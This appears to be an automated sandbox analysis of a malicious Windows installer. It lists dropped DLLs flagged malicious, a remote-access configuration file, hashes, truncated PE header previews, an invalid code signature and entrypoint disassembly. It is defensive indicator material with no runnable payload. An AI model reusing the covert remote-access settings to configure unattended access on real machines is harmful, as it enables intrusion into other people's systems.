                                                                                                                                    SHA-512:51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\config.ini

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):586
                                                                                                                                    Entropy (8bit):5.203397968860563
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12:L1YWzRcSbZKsNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:Z7zRcSbZKKlcMypJD5KxkiaJosBq
                                                                                                                                    MD5:5D7974984AE3D593B7887CC7BDA866DD
                                                                                                                                    SHA1:9C0B2EC2659812F1E46F2D32F82E61DF223C674C
                                                                                                                                    SHA-256:7888BDB632F1BC5EB6DAE5624FE9065868D279E50ACC569D3DDE0F6DB1C95051
                                                                                                                                    SHA-512:7BDACFBCE85726A683C3A316F578A88D5991E37C8FB1E13FC4715141F5752E7FD5D145AC36730B637E26FD3198EDE2D27E86F5CF7283A0C9B08579B1056B0B70
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:[config]..Security.FixPass=4297F44B13955235245B2497399D7A93..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

                                                                                                                                    C:\Users\user\AppData\Roaming\is\dsm7v.cfg

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:data
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):33
                                                                                                                                    Entropy (8bit):4.9837880587523955
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:3:SqUEDm:Sqnm
                                                                                                                                    MD5:71B4245ABD801E82ECC8CB1571F8F52E
                                                                                                                                    SHA1:CD8ADA2E8089936C031937232E09E385FB402DDC
                                                                                                                                    SHA-256:4BE589771AC3BE4AE5B94590AFC39AEA664FBF400C651FBD268B48436FA509A7
                                                                                                                                    SHA-512:6897B6B819850489BF9732C46EDAFBDC8E439F3482E120A693D79FDBCB5F2E6947E7E2065D9A684F0A7CEF1B25E0938476D9F819F9F661A0D7AD2A7D0E8789D9
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:..8..DXP+...1.GBY.*..E.JQB......

                                                                                                                                    C:\Users\user\AppData\Roaming\is\hatls.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2236144
                                                                                                                                    Entropy (8bit):5.624149670958732
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
                                                                                                                                    MD5:BCCF6A5C2595EEA84533692BB788D8BB
                                                                                                                                    SHA1:24318226F145E52B7633A4E9E844D6EAD43B75AC
                                                                                                                                    SHA-256:ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
                                                                                                                                    SHA-512:78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\libcrypto-1_1.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2533560
                                                                                                                                    Entropy (8bit):6.236092740507617
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
                                                                                                                                    MD5:59A3B581020759D52538425A1F5A53D5
                                                                                                                                    SHA1:4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
                                                                                                                                    SHA-256:4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
                                                                                                                                    SHA-512:9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\libcryptoMD.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2098416
                                                                                                                                    Entropy (8bit):6.277915381502377
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
                                                                                                                                    MD5:1AFC9BD5E625E85B696141F62FBA4325
                                                                                                                                    SHA1:56FB325125F436D7408808446D58AF50F8AA3BFC
                                                                                                                                    SHA-256:83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
                                                                                                                                    SHA-512:02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\libcurl.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):546816
                                                                                                                                    Entropy (8bit):6.657309146326691
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
                                                                                                                                    MD5:13CD45DF8AAA584EBD2A40EDE76F1E06
                                                                                                                                    SHA1:BAA19E6A965621CB315E5F866EDC179EF1D6B863
                                                                                                                                    SHA-256:3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
                                                                                                                                    SHA-512:285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\libeay32.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1388688
                                                                                                                                    Entropy (8bit):6.85745413435775
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
                                                                                                                                    MD5:3B838DC25E96877A1852966F75A5C44A
                                                                                                                                    SHA1:555E1830829B008D66FF591D87AC235F6286AB9A
                                                                                                                                    SHA-256:292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
                                                                                                                                    SHA-512:B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.*(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!L*y)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\libjpeg-turbo-win.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):713456
                                                                                                                                    Entropy (8bit):6.620067101616198
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
                                                                                                                                    MD5:96D413CAAF8C7793A96EF200F6695922
                                                                                                                                    SHA1:ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
                                                                                                                                    SHA-256:5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
                                                                                                                                    SHA-512:93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\libssl-1_1.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):541880
                                                                                                                                    Entropy (8bit):5.766958615909
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
                                                                                                                                    MD5:753B75570811052953F336261E3031BB
                                                                                                                                    SHA1:2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
                                                                                                                                    SHA-256:603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
                                                                                                                                    SHA-512:6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\msvcr120.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):970912
                                                                                                                                    Entropy (8bit):6.9649735952029515
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
                                                                                                                                    MD5:034CCADC1C073E4216E9466B720F9849
                                                                                                                                    SHA1:F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
                                                                                                                                    SHA-256:86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
                                                                                                                                    SHA-512:5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\opus.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):370488
                                                                                                                                    Entropy (8bit):6.86993159214619
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
                                                                                                                                    MD5:82E49683F540F78B2D1759CDE594482F
                                                                                                                                    SHA1:352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
                                                                                                                                    SHA-256:55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
                                                                                                                                    SHA-512:F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\quartz.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1074302464
                                                                                                                                    Entropy (8bit):0.007606963999012058
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:
                                                                                                                                    MD5:1EFF7FFD7E1333DFED1D89733F07A5D9
                                                                                                                                    SHA1:C4871CFAD84A4FB333FB70E2CC32412515C95AE8
                                                                                                                                    SHA-256:732D018A50B76E8FC8B733C18EF93407C77DE781B150841538FEBB0C696C7E6A
                                                                                                                                    SHA-512:36ECF0EB0F991E25F511A88F9E31075E99F1505C09DEBCC43E92759F68BE0BB93E9BD6D086A95CBDAD1D1657AFF4FEA13021EA8050000B9DADC331A4340E6E64
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L.....#c...........!...I.p................................................................@.....................................................................V....................................................................................code...7o.......p.................. ..`.data...9............t..............@....rdata..............................@..@.edata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    Static File Info

                                                                                                                                    General

                                                                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Entropy (8bit):7.948730591079131
                                                                                                                                    TrID:
                                                                                                                                    • Win32 Executable (generic) a (10002005/4) 98.04%
                                                                                                                                    • Inno Setup installer (109748/4) 1.08%
                                                                                                                                    • InstallShield setup (43055/19) 0.42%
                                                                                                                                    • Win32 EXE PECompact compressed (generic) (41571/9) 0.41%
                                                                                                                                    • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                                                    File name:oZ3vtWXObB.exe
                                                                                                                                    File size:7'984'574 bytes
                                                                                                                                    MD5:e6a7a12b99393e7869aaec3c1661ccb7
                                                                                                                                    SHA1:5e098c8f6b8e6d312a1f1f144a42f48dde802d6c
                                                                                                                                    SHA256:dd7c0d57c4fb9b1a0bfe6de8e493f47a23cc6176b6f82194c7ad03c927047fdb
                                                                                                                                    SHA512:4a3a3c77b5ce97a8b760d2c7663fd525a9c164929fd9ced1194da83f454864a77680d7a2e37667aa26c05ac26fcc33faf4b4097d1d0316777ff98dd76966f017
                                                                                                                                    SSDEEP:196608:1m4utvl2eDVHyqfqEcFbv3ybHZjAiwIAW/9in8:44Kt2iHy39FbvS9A1W/9i8
                                                                                                                                    TLSH:2286223FF268A53EC56A1B3115B39220997BBA61681B8C1E07FC385CCF765201E3F656
                                                                                                                                    File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                                                                                    File Icon

                                                                                                                                    Icon Hash:0c0c2d33ceec80aa

                                                                                                                                    Static PE Info

                                                                                                                                    General

                                                                                                                                    Entrypoint:0x4b5eec
                                                                                                                                    Entrypoint Section:.itext
                                                                                                                                    Digitally signed:true
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    Subsystem:windows gui
                                                                                                                                    Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                                                                                                    DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                                    Time Stamp:0x6258476F [Thu Apr 14 16:10:23 2022 UTC]
                                                                                                                                    TLS Callbacks:
                                                                                                                                    CLR (.Net) Version:
                                                                                                                                    OS Version Major:6
                                                                                                                                    OS Version Minor:1
                                                                                                                                    File Version Major:6
                                                                                                                                    File Version Minor:1
                                                                                                                                    Subsystem Version Major:6
                                                                                                                                    Subsystem Version Minor:1
                                                                                                                                    Import Hash:e569e6f445d32ba23766ad67d1e3787f

                                                                                                                                    Authenticode Signature

                                                                                                                                    Signature Valid:false
                                                                                                                                    Signature Issuer:CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
                                                                                                                                    Signature Validation Error:The digital signature of the object did not verify
                                                                                                                                    Error Number:-2146869232
                                                                                                                                    Not Before, Not After
                                                                                                                                    • 20/04/2022 02:00:00 24/04/2025 01:59:59
                                                                                                                                    Subject Chain
                                                                                                                                    • CN=Pierre GOUGELET, O=Pierre GOUGELET, L=REIMS, C=FR
                                                                                                                                    Version:3
                                                                                                                                    Thumbprint MD5:B521ACD2015DB8A5C4D047E5769CE175
                                                                                                                                    Thumbprint SHA-1:B4875B116B4F2BBBD5CD1C23351C889B81B8E046
                                                                                                                                    Thumbprint SHA-256:7AAD03419138774DDF125101838D4DD38BB3BC297EB78138870E2F9DC23D4F60
                                                                                                                                    Serial:04A9EBF0CA8ED01F5D4583764126A432

                                                                                                                                    Entrypoint Preview

                                                                                                                                    Instruction
                                                                                                                                    push ebp
                                                                                                                                    mov ebp, esp
                                                                                                                                    add esp, FFFFFFA4h
                                                                                                                                    push ebx
                                                                                                                                    push esi
                                                                                                                                    push edi
                                                                                                                                    xor eax, eax
                                                                                                                                    mov dword ptr [ebp-3Ch], eax
                                                                                                                                    mov dword ptr [ebp-40h], eax
                                                                                                                                    mov dword ptr [ebp-5Ch], eax
                                                                                                                                    mov dword ptr [ebp-30h], eax
                                                                                                                                    mov dword ptr [ebp-38h], eax
                                                                                                                                    mov dword ptr [ebp-34h], eax
                                                                                                                                    mov dword ptr [ebp-2Ch], eax
                                                                                                                                    mov dword ptr [ebp-28h], eax
                                                                                                                                    mov dword ptr [ebp-14h], eax
                                                                                                                                    mov eax, 004B14B8h
                                                                                                                                    call 00007F4E89301125h
                                                                                                                                    xor eax, eax
                                                                                                                                    push ebp
                                                                                                                                    push 004B65E2h
                                                                                                                                    push dword ptr fs:[eax]
                                                                                                                                    mov dword ptr fs:[eax], esp
                                                                                                                                    xor edx, edx
                                                                                                                                    push ebp
                                                                                                                                    push 004B659Eh
                                                                                                                                    push dword ptr fs:[edx]
                                                                                                                                    mov dword ptr fs:[edx], esp
                                                                                                                                    mov eax, dword ptr [004BE634h]
                                                                                                                                    call 00007F4E893A3C17h
                                                                                                                                    call 00007F4E893A376Ah
                                                                                                                                    lea edx, dword ptr [ebp-14h]
                                                                                                                                    xor eax, eax
                                                                                                                                    call 00007F4E89316BC4h
                                                                                                                                    mov edx, dword ptr [ebp-14h]
                                                                                                                                    mov eax, 004C1D84h
                                                                                                                                    call 00007F4E892FBD17h
                                                                                                                                    push 00000002h
                                                                                                                                    push 00000000h
                                                                                                                                    push 00000001h
                                                                                                                                    mov ecx, dword ptr [004C1D84h]
                                                                                                                                    mov dl, 01h
                                                                                                                                    mov eax, dword ptr [004238ECh]
                                                                                                                                    call 00007F4E89317D47h
                                                                                                                                    mov dword ptr [004C1D88h], eax
                                                                                                                                    xor edx, edx
                                                                                                                                    push ebp
                                                                                                                                    push 004B654Ah
                                                                                                                                    push dword ptr fs:[edx]
                                                                                                                                    mov dword ptr fs:[edx], esp
                                                                                                                                    call 00007F4E893A3C9Fh
                                                                                                                                    mov dword ptr [004C1D90h], eax
                                                                                                                                    mov eax, dword ptr [004C1D90h]
                                                                                                                                    cmp dword ptr [eax+0Ch], 01h
                                                                                                                                    jne 00007F4E893A9EBAh
                                                                                                                                    mov eax, dword ptr [004C1D90h]
                                                                                                                                    mov edx, 00000028h
                                                                                                                                    call 00007F4E8931863Ch
                                                                                                                                    mov edx, dword ptr [004C1D90h]

                                                                                                                                    Data Directories

                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0xc40000x9a.edata
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0xc20000xfdc.idata
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000x11000.rsrc
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x79aeee0x26d0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0xc60000x18.rdata
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0xc22f40x254.idata
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xc30000x1a4.didata
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                    Sections

                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                    .text0x10000xb39e40xb3a0043af0a9476ca224d8e8461f1e22c94daFalse0.34525867693110646data6.357635049994181IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                    .itext0xb50000x16880x1800185e04b9a1f554e31f7f848515dc890cFalse0.54443359375data5.971425428435973IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                    .data0xb70000x37a40x3800cab2107c933b696aa5cf0cc6c3fd3980False0.36097935267857145data5.048648594372454IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                    .bss0xbb0000x6de80x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                    .idata0xc20000xfdc0x1000e7d1635e2624b124cfdce6c360ac21cdFalse0.3798828125data5.029087481102678IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                    .didata0xc30000x1a40x2008ced971d8a7705c98b173e255d8c9aa7False0.345703125data2.7509822285969876IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                    .edata0xc40000x9a0x2008d4e1e508031afe235bf121c80fd7d5fFalse0.2578125data1.877162954504408IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                    .tls0xc50000x180x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                    .rdata0xc60000x5d0x2008f2f090acd9622c88a6a852e72f94e96False0.189453125data1.3838943752217987IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                    .rsrc0xc70000x110000x110006af616d20b4546aceb40ac944cf5f3d9False0.18678193933823528data3.694468569526281IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                    Resources

                                                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
